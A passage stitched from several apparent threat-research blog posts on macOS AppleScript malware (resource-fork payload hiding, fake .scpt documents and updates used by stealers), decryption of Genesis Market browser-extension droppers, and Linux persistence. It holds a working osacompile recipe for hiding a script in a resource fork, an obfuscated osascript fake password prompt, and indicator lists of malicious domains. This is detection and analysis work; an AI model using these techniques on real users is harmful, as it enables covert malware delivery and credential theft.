        # We add the extracted IOCs and append it to the output
        iocs = extract_defanged_iocs(script_source)
        return f'{script_source}\n\n{json.dumps(iocs)}'

If you save this in your current directory, let’s say in local.py , then we can import this using local.DefangAnalyzer

Final Words

For the one or two people who might one day need a decompiler for run-only AppleScript, I hope the tool helps. Decompiling run-only AppleScripts used to feel impossible, but with a clearer understanding of how the AppleScript VM works and tooling to match, we can finally analyze these samples with confidence.

What started as a quick look into the use of AppleScript as an infection vector ended up becoming a much bigger side project. The challenge of decompiling, data structures and building an AST was interesting enough for me to to get me to keep digging. That said, I don’t plan to develop the decompiler much further than its current state—it already feels useful enough to analyze every sample I can find in the wild (and there aren’t many).

Sources

• 1 How AppleScript Is Used For Attacking macOS
• 2 Going off script: Thwarting OSA, AppleScript, and JXA abuse
• 3 XCSSET evolves again: Analyzing the latest updates to XCSSET’s inventory
• 4 New XCSSET malware adds new obfuscation, persistence techniques to infect Xcode projects
• 5 FADE DEAD Adventures in Reversing Malicious Run-Only AppleScripts
• 6 macOS Payloads | 7 Prevalent and Emerging Obfuscation Techniques
• 7 https://github.com/Jinmo/applescript-disassembler
• 8 The Art of Mac Malware: Nonbinary-Analysis
• 9 Objective-See/Malware
• 10 Apple Events Programming Guide
• 11 https://github.com/JXA-userland/JXA

I’ve been collaborating with sysop_host. He described a technique on hiding compiled applescripts in a file resource fork. In this blog, we’ll go through some interesting some implications of this.

Below are some commands that will help illustrate the technique. (For more details see).

echo "do shell script \"echo '<INSERT BAD HERE>'\"" > bad.scpt
echo "do shell script \"echo good\"" > good.scpt              
# 95504cde5ca293ce1085282d58c6caaa
md5 good.scpt

# Compile bad.scpt into the resource fork
osacompile -x -r scpt:128 -o good.scpt bad.scpt 
# Should still be 95504cde5ca293ce1085282d58c6caaa
md5 good.scpt                                   

# Inspect good.scpt (cat, strings, etc)
xxd good.scpt

# Running good.scpt will execute compiled bad.scpt instead
osascript good.scpt                            

The commands above do the following:

1. Create two scripts bad.scpt and good.scpt
2. Compile bad.scpt into the resource fork of good.scpt
3. Inpsect the contents of good.scpt and see that both the data and the hash are unchanged
4. If you execute osascript good.scpt, the hidden payload is what is executed.

We can see the the hidden AppleScript in good.scpt/..namedfork/rsrc

The usage of named forks is not new. S1 has previously analyzed a sample hides a second payload in the named fork.. Another similar example is RustyAttr, where scripts were stored in the extended attributes. A notable difference between previous examples and this techinque, is that the payload doesn’t need to be extracted from the resource fork or extended attribute. It looks like osascript will automatically detect the hidden payload and execute it.

There isn’t a lot of documentation on this. Based on AppleScript Definitive Guide - Compiled Script File Formats the use of resource forks is a legacy feature that has been deprecated but supported for backwards compatibility. At the time of writing, our testing finds that the compiled applescript always takes priority over the original file.

With this, we will go through some observations that we’ve had while playing around this this.

Example 1: Difference between read vs run

Similar to the example in the introduction, if the data in the file is another AppleScript (plaintext or compiled), this is ignored.

This can be an interesting gotcha since an analyst can find themselves analyzing some file, not knowing the the real payload is hiding in the resource fork. Moreover, if the analyst tries to upload the update_plain.scpt through the VirusTotal over the web UI, only the data fork will be be analyzed and the hidden payload is stripped in the process.

Example 2: Difference between read vs compile

Something we came across by accident, it looks like even osacompile prioritizes the resource fork over the data fork. The file you are inspecting in a text editor or IDE would be different from what is actually compiled by osacompile.

In this example, we use the good.scpt that already has the hidden applescript.

The compiled output differs from the source code

Example 3: Hidden in misc files

This method extends even to all types of files (images, pdfs, txts, etc). In the example below, if an compiled AppleScript is hidden in the resource fork of an image, then this image can be used to load and run applescripts.

osacompile -x -r scpt:128 -o image.png bad.scpt      
osascript image.png

Example 4: Loading scripts

This is just an extension of case 1. Applescripts can load/run other applescripts using run script or load script -> run.

run script is used by this sample 31cd….a6c6. And if this DMG used this method, the analysis could have missed this since most analysis would have scanned the only data of the files

And in this example, the resource forks were not scanned (well they didn’t have anything)

Other notes

Unlike in S1’s sample and RustyAttr, malware that would use this technique don’t need to reference the <file>/..namedfork/rsrc directly since it’s all done implicitly. However, it’s not rare for compiled AppleScripts to have a resource forks. For example if a compiled AppleScript is created with Script Editor , it will have a resource fork. What is probably rare is compiled AppleScripts in resource scripts, but because it’s not common for these to be scanned, it’s hard for me to really say.

You can scan files with resource forks by

xattr -r <dir> | grep ResourceFork

You can try to scan resource fork directly

yara rule.yar <file>/..namedfork/rsrc

If you are analyzing a zip, use a tool that doesn’t set the extended attributes, like unzip.

Since the extended attributes are extracted as files, then they can be scanned like regular files. Note that the format of <file>/..namedfork/rsrc is different to __MACOSX/._<file>.scpt if its in a zipped file and <file>:rsrc if its in a DMG.

Be careful how you collect your artefacts. Some CLI tools like zip may strip extended attributes from the files while processing the files.

On top of what was suggested in the previous blog, I think, this just goes back to monitoring osascript and Script Editor behavior, and if in the future I encounter a sample where I the behaviour doesn’t match the what in the file, I’ll take a peak and see if there’s anything hinding in extended attributes or the resource fork.

This gives an overview of how .scpt AppleScript are used to creatively deliver macOS malware, such as fake office documents or fake Zoom/Teams updates. Previously a technique seen with APT campaigns for macOS, we can now see samples coming from the macOS stealer ecosystem like MacSync and Odyssey.

Introduction

Back in August 2024, Apple removed one of the most popular infection vectors on macOS, the “right-click and open” Gatekeeper override. Since then, attackers have had to rely on other ways to get their malware running on macOS.

Below is an overview of two alternative macOS malware delivery methods that we’ve seen. Both methods require the victim to interact with Terminal.app, which can make the technique less effective.

Expand for more info.

Emergence of .scpt AppleScript files

An emerging “new” method involves using .scpt files. Although the use of .scpt AppleScript files may not be new [5][6], we’ve observed more samples using this technique in the last few months.

What caught my interest was a sample analyzed by Moonlock Labs, where the AppleScript files were used to create fake .docx and .pptx files.

3/ The initial infection vector is a compiled AppleScript, falsely given a .docx "extension", and which is indeed an AppleScript: 'AM Management _Strategic OTC Collaboration Proposal.docx.scpt' (6149…10b7). ‘OTC’ in the naming hints that it might be targeting crypto-related…

— Moonlock Lab (@moonlock_lab) October 21, 2025

After looking for other similar samples, we’ve found some instances of this technique being used by commodity malware, like Odyssey Stealer and MacSync Stealer. Increasing commodity usage suggests trickle-down of APT techniques.

Fake Chrome Update Example The flow is simple:

• By default, a .scpt file, whether plain text or compiled, opens in Script Editor.app when double-clicked.
• Comments in the script encourage the user to run it, while hiding the real code behind a large number of blank lines.
• Clicking the ▶️ Run button or pressing ⌘ + R executes the script, even if it’s quarantined by Gatekeeper.

Examples in the wild

Fake Documents

Pivoting from the sample above, we can look for other similarly named .scpt files:

• #1.Apeiron_Token_Transfer_Proposal.docx.scpt
• Stable1 Investment Proposal (Draft) (EN).pptx.scpt
• AM Management _Strategic OTC Collaboration Proposal.docx.scpt

Similar analysis was published by L0Psec. To add to that discussion, we note that the threat actors also used custom icons to make these fake documents even more convincing.

Discussed more in a later section

Fake Installers and Updates

Just like the fake DMG updates [9], we continue to see threat actors use fake websites to trick users into installing updates. Some of the lure sites are quite sophisticated (see Kapsersky’s writeup):

• MSTeamsUpdate.scpt
• Zoom SDK Update.scpt, (sample 2), (sample 3)

And we’ve also seen MacSync use this to drop the script described in [11]:

• Packages.scpt, (sample 2)
• InstallSoftZone.scpt
• InstallDealoryx.scpt

And Odyssey Stealer

• Microsoft.TeamsSDK.scpt

All of these scripts look very similar once opened. In some cases, variations exist - but the social engineering angle remains the same.

As noted by other researchers, several of these .scpt files still have zero detections on VirusTotal:

Bad DMG

.scpt files naturally lends itself back into the DMG flow that we’ve seen in the last few years. The only example I’ve found so far is 远程安装/双击打开我.scpt, which Google translates to Remote installation/double-click to open my.scpt

31cd….a6c6

The format of the prompt here is slightly different from what we’ve seen.

This script will run 888.scpt which is an obfuscated read-only AppleScript that drops another malicious dmg, and so on - clearly bad.

Where can this go?

File Icons on macOS

On macOS, each file type has a default icon. Normally, this icon is determined by the file’s type (for example, all .txt files share the same default icon). However, macOS allows users to assign custom icons to individual files or folders.

This is stored in the file’s resource fork, which can be preserved, depending on how the file is delivered. For example, if a file is delivered through a zip, then you can see the resource fork in the bundled items of the zip file.

99cf…f06d

When this is unzipped on a Mac endpoint, the custom icon will be displayed, resulting in a convincing fake document. In the sample below, we see that the attacker has provided fake docs for both macOS and Windows.

This applies to all files on mac. .command, .js, .txt and even those without extensions.

File Extensions

Similar to the file icon, there is a per file setting for the visibility of file extensions that is stored in the extended attributes. Below, we demo what the .pptx.scpt sample would look like with this setting enabled.

Note that the .pptx.scpt will not work right away. You’d have to use some tricks with characters/unicode to get the .scpt to be hidden while still showing .pptx

More malicious DMGs

Similar to zip files, dmg files also preserve the icons of the files. This is something that has become common samples we’ve seen for “Drag and drop to the terminal DMGs”. Although we don’t see many DMG samples that include .scpt, it wouldn’t be surprising to see this technique grow in adoption.

Sample DMG (password: infected)

Additional Notes

Hunting for samples

This technique works for both plaintext AppleScripts and compiled AppleScripts. To hunt for new scripts, we look at both cases.

For plain scripts, you can look for suspicious looking strings like do shell script and/or run script accompanied by strings that could be used to construct the comment.

content: "#############" AND content: "do shell script" AND content: "curl" AND (type: "text" OR type: "AppleScript")

For compiled AppleScripts, it’s not as simple. After playing around, I’ve found that the event code for do shell script is sysoexec and the event code for run script is sysodsct [13], and some strings in ASCII and some as UTF-16. I’m not sure if this is the case for all versions of compiled AppleScripts. *shrug*

(content: "#########" OR content: {23 00 23 00 23 00 23 00 23 00 23}) AND content: {63 00 75 00 72 00 6c} AND content: "sysoexec" AND type:AppleScript

A note: Although rare, we have seen obfuscation of AppleScript, like in 888.scpt.

set part1 to "a"
set part2 to "b"
set part3 to "c"
...
set part136 to "="
set part137 to "."

-- Reconstructing http://...
set c2 to part8 & part20 & part20 & part16 & "://" & ...

In fact, utilizing the similar obfuscations techniques we’ve seen with PowerShell [14], we can achieve a similar effect for AppleScript scripts.

osAscRIPT -e 'set fnxP9 to "tware U"' -e 'set vdrK2 to "ate"' -e 'set lmT3b to "pd"' -e 'set qzrA7 to "Sof"' -e 'tELl aPp ("Syst" & "Em" & " P" & "REfeRE" & "nces") TO DISpLAy dIALOg "Soft" & "ware " & "U" & "pda" & "te" & " requi" & "res th" & "at you ty" & "pe your passwo" & "rd " & "to " & "apply c" & "han" & "ges." & reTURn & RETUrn  dEFAuLt anSweR "" WIth iCOn 1 WItH HIddEN AnsWeR witH Title (qzrA7 & fnxP9 & lmT3b & vdrK2)'

Detections and Mitigations

Change the default app of .scpt files

Similar to recommendations on how we can mitigate .js, .vbs, and other dangerous extensions on Windows [15], we can set the default app of .scpt and other similar extensions like .applescript and .scptd

But because compiled applescripts are not text, TextEdit will not display it properly.

Set extensions to always show

It was pointed out to me that bysysop_host that the per-file setting for hiding extensions is overriden by Finder’s settings.

Detections

• Look for weird executions from Script Editor, especially things that reach out. (Sigma rule for reference)
• In file events, look for files with .docx.scpt, .pptx.scpt, and <common extension>.scpt

Indicators

# Fake doc zips
f5b4fec2263950ca5cfac9f9d060bb96f6323fcb908b09eedb7996c107bdcf5a
99cfb160a2453a22cc025fe0afc21d660744205eff2885836d8e543fda50f06d
# Fake doc .scpt and domains
6149bacfb02eb3db6f95947bc57d89bfb92b90f16f92a61266ea6fbec81d10b7
2e2cedbf1f09208ee7dad6ac5dec96e97bc0c41a31e190bc41e14f2929c05d4c
b489039b502afd8b8267853c4d2cf65f75b76aa1f128f13d332f7d26ffcbd114
endesway[.]life
customizetion[.]com

# BlueNoroff IOCs
14aba88b5f87ab9415bbca855d24abc3f151b819302930897e71e2626e823271
support.ms-live[.]com

580f6dd3f4cb78f80167a3d980bab3590dca877d78bb4e17360dc50fdbef7692
uk06webzoom[.]us

a7c7d75c33aa809c231f1b22521ae680248986c980b45aa0881e19c19b7b1892
8e897a1e0c3092a7a8f8c3946da6ef23f013dd7633bdea185d15f6ea9c902ef0
uk04webzoom[.]us

# MacSync 
24ba8e79bd22ece03fc7cd0b00822a38ecec146dc5c70404476110a4028c9caf
foldgalaxy[.]com

2f99de308882fb9a6686913c4f6cc6654e75eb861d39a9ce33ae23c2d11271ec
forestnumb[.]top

f9f9ac24381acad8957724b6aacb0a7fe83d9359c6b7ceded10b2c8e2f4a729b
elbrone[.]com

43e2681212b6324c6087d78e8c30313e199d42e4554e616c6880ed4c4f6bf088
b9c35bccb5ee635269780983265c40169e7c268f73f6e38651cc8efcaf13ed41
globalnetman[.]xyz

# Odyssey
7f69f3012e134d1f5084fbb9086697da66a9b0e9240c4e1413777b9e1099aca9
185.93.89[.]62
aubr[.]io

# Bad DMG 888.scpt
6a95ab1e7a94fb55a1789f5dfb0fb98237ac72d14ae89ac557101a6176826610

03458265a47dd655c7c6eccff7c273618f768f52ecf11db7fd67c857b1eca0cd
9f3a2876f29b336f4372e3c0be26cecaa2966bc5ef5bf2403cb6354ddb87691a

e41efd9eeb08571b4322433df84f81d660ce2fc1ba24134ff14a58a06cd2436b
fbea68ff0dc10f85e859ad09c02c1fea4b85d58e80d8a68af7e93f4a1443b34b

dosmac[.]top
192.140.161[.]143
124.132.136[.]17
114.66.50[.]134

Sources

• [1] https://unit42.paloaltonetworks.com/clickfix-generator-first-of-its-kind/
• [2] https://moonlock.com/macos-malware-homebrew-ads
• [3] https://9to5mac.com/2024/10/17/security-bite-hackers-are-now-directing-users-to-terminal-to-bypass-gatekeeper-in-macos-sequoia/
• [4] https://0x626c6f67.xyz/posts/macos-dmg-malware/
• [5] https://huntability.tech/threat-note-2025-04-23-nk-zoom/
• [6] https://www.huntress.com/blog/inside-bluenoroff-web3-intrusion-analysis
• [7] https://twitter.com/moonlock_lab/status/1980684233690746897
• [8] https://x.com/L0Psec/status/1987181570265112719?s=20
• [9] https://www.malwarebytes.com/blog/threat-intel/2023/11/atomic-stealer-distributed-to-mac-users-via-fake-browser-updates
• [10] https://securelist.com/bluenoroff-apt-campaigns-ghostcall-and-ghosthire/117842/
• [11] https://x.com/moonlock_lab/status/1983550008344375443
• [12] https://securelist.com/bluenoroff-apt-campaigns-ghostcall-and-ghosthire/117842
• [13] https://AppleScriptlibrary.wordpress.com/wp-content/uploads/2013/11/AppleScript-terminology-and-apple-eve-nt-codes-e28094-developer-documentation.pdf
• [14] https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
• [15] https://redcanary.com/blog/threat-intelligence/notepad-javascript/
• [16] proc_creation_macos_susp_execution_macos_script_editor.yml

A friend of mine sent me a link to an article on malicious browser extensions that worked around Google Chrome Manifest V3 and asked if I had or could acquire a sample. In the process of getting a sample, I thought, if I was someone who didn’t have the paid resources that an enterprise might have, how would I go about acquiring a similar malicious browser extension sample (and maybe hunting for more samples).

In this blog post, I’ll give a walkthrough how I used free resources to acquire a sample of the malicious browser extension similar to the one described in the article and using some simple cryptanalysis, I was able to pivot and acquire and decrypt newer samples.

If you want to follow along, you can use this notebook.

Looking for similar samples

If you are lucky, you can search the hashes of the samples in free sites like MalwareBazaar or even some google searching. However, if that doesn’t work, then we’d need to be a bit more creative.

In this case, I looked at features of the malware that I can use to look for other similar ones. I found that the names and directory structure of the browser extension seemed unique enough to pivot from. I used a hash from the article and looked it up in VT.

This led me to find a blog post from Trend Micro and in one section, they discussed the malicious browser extension used by Genesis Market.

As you can see, the file names and the structure of this extension is very similar to the one we were looking for, and the blog post also showed the script that was used by the malware to drop the malicious extension.

Acquiring the first sample

Given this powershell script, if the endpoint is still available we can try to download the sample directly. However, it wasn’t available anymore, so we have to hope that the response of hxxps://ps1-local[.]com/obfs3ip2.bs64 was saved before it went down. This is where services like urlscan come in handy. We used urlscan to get the saved response for obfs3ip2.bs64.

Now, this would return a base64-ish payload, but to fully decrypt this, you would have to follow the transformations done by the powershell script. A simple base64 decode won’t work, you can see some attempts of other researchers on any.run here and here.

If we translate the powershell script to python, then we can process the saved response from urlscan easily.

import requests
import base64

# hxxps://ps1-local[.]com/obfs3ip2.bs64
res = requests.get('https://urlscan.io/responses/bef9d19d1390d4e3deac31553aac678dc4abb4b2d1c8586d8eaf130c4523f356/')
s = res.text\
    .replace('!', 'B')\
    .replace('@', 'X')\
    .replace('$', 'a')\
    .replace('%', 'd')\
    .replace('^', 'e')

ciphertext = base64.b64decode(s)
plaintext = bytes([b ^ 167 ^ 18 for b in ciphertext])
print(plaintext.decode())

This gives us a powershell script that drops the browser extension on disk and modifies the shortcuts to load the browser extension to chrome or opera.

I won’t do a deep dive on what the powershell script does because this has already been discussed in other blog posts:

• https://sector7.computest.nl/post/2023-04-technical-analysis-genesis-market/
• https://www.trendmicro.com/en_au/research/23/k/attack-signals-possible-return-of-genesis-market.html

The files of the extension are in a dictionary where the key is the file name and the value is a base64 encoded file.

{"src/functions/injections.js"="KGZ1bmN0aW9uKF8weDU0YjAwYyxfMHgxOGY3NGIpe2Z1bmN0aW9uIF8weDJkMmI4..."}

Getting the browser extension is just a matter of parsing the files out of the dictionary in the powershell script.

Looking for new samples

The extension of .bs64 seemed quite unique to me and was something that I felt could be pivoted from to get more samples. With a free account in urlscan, I can search for scans of URLs ending with .bs64.

This was interesting for 2 reasons:

1. The domain root-head[.]com was recently registered so this was just recently set up.
2. I also wanted to see if there have been updates to the extension by the malware authors.

I used the decryption script shown in “Acquiring the first sample” on the payload from urlscan.

Here is the output.

Unfortunately, the decryption wasn’t completely successful. Because the plaintext is partially correct, this told me that the xor key was correct but the substitutions used in the encryption has changed.

s = res.text\
    .replace('!', 'B')\
    .replace('@', 'X')\
    .replace('$', 'a')\
    .replace('%', 'd')\
    .replace('^', 'e')

This seemed like a small and fun cryptographic puzzle to tackle. As someone who has enjoyed doing crypto CTF challenges in the past, the idea of using cryptography “in real life” was exciting.

Cryptanalysis

Overview

Let’s formalize the problem a bit. The encryption code is something like this:

def encrypt(plaintext, xor, sub):
    ciphertext = bytes([b ^ xor for b in plaintext.encode()])
    s = base64.b64encode(ciphertext).decode()
    for a, b in sub:
        s = s.replace(a, b)
    return s

And the example we had would have been encrypted using:

encrypt(plaintext, 167 ^ 18, [
    ('B', '!'), 
    ('X', '@'), 
    ('a', '$'), 
    ('d', '%'), 
    ('e', '^')
])

Given a ciphertext, how do we retrieve the plaintext without the xor and substitution key. The solution is very simple, at a high level we want to:

1. Figure out what characters we need to remove ['!', '%', '@', '$', '^'] and what characters we need to put back ['a', 'B', 'd', 'e', 'X'].
2. We can search all possible xor keys and permutations of the mappings and get the most “script” looking output.

We optimize a bit by figuring out the xor key and substitution key separately but this is the solution at the very core of it.

Full code for this is in the notebook.

Getting a cleaned base64 payload

The initial bs64 payload we get may not be a valid base64 string. Because of the way the encryption was performed, we expect the ciphertext to probably have valid base64 characters missing and have some characters that are not valid base64 characters.

# hxxps://ps1-local[.]com/obfs3ip2.bs64
res = requests.get('https://urlscan.io/responses/bef9d19d1390d4e3deac31553aac678dc4abb4b2d1c8586d8eaf130c4523f356/')

ciphertext = res.text
assert 'B' not in ciphertext
assert 'a' not in ciphertext

assert '!' in ciphertext
assert '$' in ciphertext

So first we detect what are the missing characters and what are the extra characters we have in the payload.

s = "<CIPHERTEXT>"

base64_alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='

_from = list(set(s) - set(base64_alphabet))
_to   = list(set(base64_alphabet) - set(s) - set("="))

This gives us the characters that will make up the key for the substitution step.

_from = ['!', '%', '@', '$', '^']
_to   = ['a', 'B', 'd', 'e', 'X']

From here, we filter out all of the chunks of the base64 payload that contain any of the invalid characters !%@$^. This will allow us to decode part of the payload so we can perform the analysis we need for xor. This cleaned_b can now be used to retrieve the xor key.

clean_chunks = []
for idx in range(0, len(s), 4):
    chunk = s[idx:idx+4]
    if set(chunk) & set(_from):
        continue
    clean_chunks.append(chunk)

cleaned_s = ''.join(clean_chunks)
cleaned_b = b64decode(cleaned_s)

We can do this because base64 comes in chunks of 4 which represent 3 bytes in the decoded data. We can remove chunks of 4 characters in the encoded data and still decode the remaining data.

XOR

The original powershell script used what is described as “two rounds of xor”. Even other documented powershell droppers used two -bxor operations.

for ($i = 0; $i -lt $x.Count; $i++) {
    $x[$i] = ($x[$i] -bxor 255) -bxor 11
}

I’m not sure why the malware authors had multiple single byte xor to decrypt the payload, but cryptographically, this is just equivalent to a single xor byte encryption. This particular topic is really basic and is probably the first lesson you’d get in a cryptography class. If you want exercises on this you can try cryptopals or cryptohack.

The main idea here is that:

1. The search space is small, just 256 possible values for the xor key.
2. We can use some heuristic to find the correct key.

If you only have one payload to decrypt, you can just display all 256 plaintext and visually inspect and find the correct plaintext. However, we want an automated process. Since we expect that the output is another script, then the plaintext is expected to have mainly printable (and usually alphanumeric) characters.

# Assume we have xor and alphanumeric_count functions
xor_attempts = []
for x in tqdm(range(256)):
    _b = xor(cleaned_b, x)
    xor_attempts.append((x, alphanumeric_count(_b) - len(_b)))
xor_attempts.sort(key=lambda x: -x[-1])

potential_xor_key = xor_attempts[0][0]

Brute force mapping permutations

We have the arrays _from and _to:

_from = ['!', '%', '@', '$', '^']
_to   = ['a', 'B', 'd', 'e', 'X']

And we need to find the mapping:

! -> B
@ -> X
$ -> a
% -> d
^ -> e

Since this is just 5 characters, there are only 5! or 120 permutations. This is similar to xor where we can just go through the search space and find the permutation that results in the most number of printable or alphanumeric characters. We use itertools.permutations for this.

# potential_xor_key, _from, _to from the previous steps
# assume printable_count and alphanumeric_count exists

def xor(b, x):
    return bytes([e ^ x for e in b])

def decrypt(s, x, _from, _to):
    mapping = {a: b for a, b in zip(_from, _to)}
    s = ''.join([mapping.get(e, e) for e in s])
    _b = b64decode(curr)
    return xor(_b, x)

def b64decode(s):
    # There were invalid payloads (just truncate)
    if len(s.strip('=')) % 4 == 1:
        s = s.strip('=')[:-1]
    s = s + ((4 - len(s) % 4) % 4) * '='
    return base64.b64decode(s)

attempts = []
for key in tqdm(permutations(_to)):
    _b = decrypt(s, potential_xor_key, _from, key)
    attempts.append(((key, potential_xor_key), printable_count(_b) - len(_b), alphanumeric_count(_b)))
attempts.sort(key=lambda x: (-x[-2],-x[-1]))
potential_decode_key, potential_xor_key = attempts[0][0]

And with that, we hope we have retrieved the keys needed to decrypt the payload.

Some notes on crypto

Using heuristics like printable count or alphanumeric count in the output works better for longer ciphertexts. If a ciphertext is too short, then it would be better to just brute force instead of getting the xor and substitution keys separately.

for xor_key in range(256):
   for sub_key in permutations(_to):
        _b = decrypt(s, xor_key, _from, sub_key)
        attempts.append(((sub_key, xor_key), printable_count(_b) - len(_b), alphanumeric_count(_b)))

attempts.sort(key=lambda x: (-x[-2],-x[-1]))
potential_decode_key, potential_xor_key = attempts[0][0]

This will be slower since you’d have 30720 keys to test, but since we’re only doing this for shorter ciphertexts, then this isn’t too bad.

If you assume that the first few bytes of the plaintext would be Unicode BOM \xef\xbb\xbf, the the XOR key will be very easy to recover.

Processing new samples

To get new samples, we use the urlscan API to search for all pages with .bs64 and get all the unique payloads and process each one. This can be done with a free urlscan account.

The search is page.url: *.bs64. Here is a sample script to get you started with the URLSCAN API.

import requests
import jmespath
import defang 

SEARCH_URL = "https://urlscan.io/api/v1/search/"

query = 'page.url: *.bs64'
result = requests.get(
    SEARCH_URL,
    headers=headers,
    params = {
        "q": query,
        "size": 10000
    }
)


data = []
res = result.json()
for e in tqdm(res['results']):
    _result = requests.get(e['result'], headers=headers,).json()
    hash = jmespath.search('data.requests[0].response.hash', _result)
    data.append({
        'url': defang(jmespath.search('page.url', e)),
        'task_time': jmespath.search('task.time', e),
        'hash': hash,
        'size': jmespath.search('stats.dataLength', e)
    })

    # Free urlscan is 120 results per minute
    time.sleep(1)

At the time of writing, there were a total of 220 search results in urlscan, and a total of 26 unique payloads that we processed. These payloads were generated between 2023-03-06 and 2024-09-01.

Deobfuscating scripts

The original js files are obfuscated. You can use sites such as https://obf-io.deobfuscate.io/ to do this manually. I used the obfuscator-io-deobfuscator npm package to do the deobfuscation.

Fingerprinting extensions and analyzing

I’m not really familiar with analyzing chrome extensions so analysis of the extensions won’t be deep, but the technical deep dives I’ve linked previously are very good.

What I focused on is if there are changes with the functionality of the extension over time. Simple hashing won’t help in this case because even the deobfuscated js code has variable names randomized.

const _0x56b2ef = await fetch(_0x5bfae7 + "/machine/init", {
      'method': "POST",
      'headers': {
        'Accept': "application/json, application/xml, text/plain, text/html, *.*",
        'Content-Type': "application/json"
      },
      'body': JSON.stringify(_0x22a72c)
    });

The approach I ended up taking was looking at the exported functions of each js since these are in plaintext and doesn’t seem to be randomized (unlike local variables).

For example, grep -nri "export const" . returns:

Findings for this is that the following functions were added over time:

• 2023-09-14: Add getClipperData function
• 2024-06-23: Add createZip, getFromStorage, modifyListUsers, sendZipToServer, transformZipData, traverseDirectories, getData, etc

We can see that over time, they added fallback APIs to resolve the C2 domains. In the earliest versions of the extension we see only one method to resolve the domain.

In the most recent extension, we have 8 functions: GetAddresses_Blockstream, GetAddresses_Blockcypher, GetAddresses_Bitcoinexplorer, GetAddresses_Btcme, GetAddresses_Mempool, GetAddresses_Btcscan, GetAddresses_Bitcore, GetAddresses_Blockchaininfo.

Trustwave’s blog post mentioned that there was capabilities to use a telegram channel to exfiltrate data. In the extensions I have looked at, I see botToken and chatId in the config.js but I have not seen any code that actually uses this.

Resolving C2 domains from blockchain

The domains used for C2 are resolved from transactions in the blockchain. This is similar to more EtherHiding but here, rather than using smart contracts, they use the destination address to encode the domain. I just translated one of the many functions in the extension to resolve the script and used base58 to decrypt the domain.

blockstream = requests.get(f"https://blockstream.info/api/address/{address}/txs")\
    .json()
for e in jmespath.search('[].vout[].scriptpubkey_address', blockstream):
    try:
        domain = base58.b58decode(e)[1:21]
        if not domain.endswith(b'\x00'):
            continue
        domain = domain.strip(b'\x00').decode()
        print(domain)
    except Exception as e:
        pass

This resulted in the following resolved domains.

Among these domains, only 4 of them seem to be active. If we hit the /api/machine/injections endpoint, the server responds to the request. The following looks to be active:

• gzipdot[.]com
• dot4net[.]com
• catin-box[.]com
• true-lie[.]com

And only true-lie[.]com is flagged as malicious by VT. The other domains aren’t flagged as malicious by VT, even domains like catin-box[.]com which is a pretty old domain.

Conclusion

It’s obvious that this approach will stop working if the encryption algorithm is changed by the authors of the malware (or even simpler, the attacker can just not suffix the dropper powershell script with .bs64). However, given that we have found samples that span a year, shows that the usage of some of techniques persist for quite some time.

If you are a student, or an aspiring security professional, I hope this demonstrates that there can be legitimate research or learnings just from using free tools and published information to study malware that has active infrastructure. Although if you are just starting out with security, I advise you to be cautious when handling the bad stuff.

IOCs

I’ve grouped IOCs based on what address it uses to resolve the C2 domains. There are some domains that repeat like root-head[.]com, root[.]com, and opensun[.]monster which means that the domain served versions of the malicious browser extension with different addresses.

bc1q4fkjqusxsgqzylcagra800cxljal82k6y3ejay

root-head[.]com

gzipdot[.]com

bc1qvmvz53hdauzxuhs7dkm775tlqtd9vpk8ux7mqj

root-head[.]com
two-root[.]com

dot4net[.]com

bc1qvkvzfla6wrem2uf4ejkuja8yp3c6f3xf72kyc9

opensun[.]monster
gotry-gotry[.]com
two-root[.]com

true-lie[.]com
true-bottom[.]com

bc1qnxwt7sr3rqatd6efjyym3nsgxhslyzeqndhjpn

opensun[.]monster
good2-led[.]com
wryrwhte[.]monster

x504x[.]com
size-infinity[.]com
dark-confusion[.]com

bc1qtms60m4fxhp5v229kfxwd3xruu48c4a0tqwafu

ps1-local[.]com
ps2-call[.]com
ff-rrttj[.]com
tchk-1[.]com

catin-box[.]com
you-rabbit[.]com

Resources that reference some of these IOCs

• https://www.trendmicro.com/en_au/research/23/k/attack-signals-possible-return-of-genesis-market.html
• https://www.zscaler.com/blogs/security-research/black-hat-seo-leveraged-distribute-malware
• Symantec: Malicious Extension Targets Chromium-Based Web Browsers, Steals Data
• https://tria.ge/240618-p92adavbmf
• https://any.run/malware-trends/lu0bot
• https://sector7.computest.nl/post/2023-04-technical-analysis-genesis-market/
• https://www.esentire.com/blog/lummac2-malware-and-malicious-chrome-extension-delivered-via-dll-side-loading

In this blogpost, we’re discussing a specific persistence technique that I haven’t read anywhere else. Because of this, it seemed appropriate for it to have its own post.

The topics discussed here are the following:

• Boot or Logon Initialization Scripts: systemd-generators

We will give some example commands on how to implement these persistence techniques and how to create alerts using open-source solutions such as auditd, sysmon and auditbeats.

Links to the full version [image] [pdf]

If you need help how to setup auditd, sysmon and/or auditbeats, you can try following the instructions in the appendix in part 1.

Linux Persistence Series:

• Hunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells
  • 1 - Server Software Component: Web Shell
• Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation
  • 2 - Create Account: Local Account
  • 3 - Valid Accounts: Local Accounts
  • 4 - Account Manipulation: SSH Authorized Keys
• Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron
  • 5 - Create or Modify System Process: Systemd Service
  • 6 - Scheduled Task/Job: Systemd Timers
  • 7 - Scheduled Task/Job: Cron
• Hunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration
  • 8 - Boot or Logon Initialization Scripts: RC Scripts
  • 9 - Boot or Logon Initialization Scripts: init.d
  • 10 - Boot or Logon Initialization Scripts: motd
  • 11 - Event Triggered Execution: Unix Shell Configuration Modification
• Hunting for Persistence in Linux (Part 5): Systemd Generators
  • 12 - Boot or Logon Initialization Scripts: systemd-generators
• (WIP) Hunting for Persistence in Linux (Part 6): Rootkits, Compromised Software, and Others
  • Modify Authentication Process: Pluggable Authentication Modules
  • Compromise Client Software Binary
  • Boot or Logon Autostart Execution: Kernel Modules and Extensions
  • Hijack Execution Flow: Dynamic Linker Hijacking

12 Boot or Logon Initialization Scripts: systemd-generators

MITRE: https://attack.mitre.org/techniques/T1037/

There is no dedicated sub technique for this in MITRE ATT&CK matrix. This is just something I stumbled upon while going through the systemd documentation and when researching about rc.local and init.d scripts in the previous blogpost.

12.1 What are systemd-generators?

Looking at the debian man pages for systemd.generator.

Generators are small executables placed in /lib/systemd/system-generators/ and other directories listed [below]. systemd(1) will execute these binaries very early at bootup and at configuration reload time — before unit files are loaded.

